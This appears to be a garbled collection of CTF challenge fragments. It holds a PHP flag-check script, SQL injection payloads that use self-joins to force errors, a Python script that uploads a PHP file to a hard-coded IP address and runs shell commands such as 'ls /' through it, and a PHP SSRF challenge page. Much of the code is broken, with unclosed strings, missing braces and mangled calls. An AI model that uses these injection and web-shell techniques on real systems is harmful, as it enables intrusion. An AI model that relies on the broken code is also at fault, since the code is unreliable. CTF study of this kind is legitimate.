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<?php
$admin = "xdsec"."###".str_shuffle('you_are_the_member_of_xdsec_here_is_your_flag');

preg_match('/~(xdsec) ((?:###|\w)+)$/i', $code, $matches);
if (count($matches) === 3 && $admin === $matches[0]) {
echo "Success";
} else {
echo "False";

}
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select name from test where id=1 and (select * from (select * from test as a join test as b) as c)
select name from test where id=1 and (select * from (select * from test as a join test as b using(id)) as
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import requests
import re

url = "http://136.243.194.53/"

user_agent = "xxx

t = requests.post(url, headers = {'User-agent': user_agent }, data = {"filename":"zzz.php", "content":"<?
[path] = re.findall('files.*/zzz.php', t)

{"filename":"bash", "content":'
{"filename":"bash2", "content":'ls /'})

requests.post(url, headers

{'User-agent': user_agent }, data
{'User-agent': user_agent }, data

xxx"'})

requests.post(url, headers
r = requests.get(url+path)

print r.text
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<?php
if(!$_GET['site']){
echo <<<EOF
<html>
<body>
look source code:
<form action=""' method='GET'>
<input type='submit' name='submit' />
<input type='text' name='site' style="width:1000px" value="https://www.baidu.com"/>
</form>
</body>
</html>
EOF;
die();

$url = $_GET['site'];
$url_schema = parse_url($url);
$host = $url_schema['host'];
$request_url = $url."/";

if ($host !== 'www.baidu.com"'){
die("wrong site");

$ci = curl_init();

curl_setopt($ci, CURLOPT_URL, $request_url);
curl_setopt($ci, CURLOPT RETURNTRANSFER, 1);
$res = curl_exec($ci);

curl_close($ci);

if($res){
echo "<hl>Source Code:</h1>";
echo $request_url;
echo "<hr />";
echo htmlentities($res);
}else{
echo "get source failed";

?>
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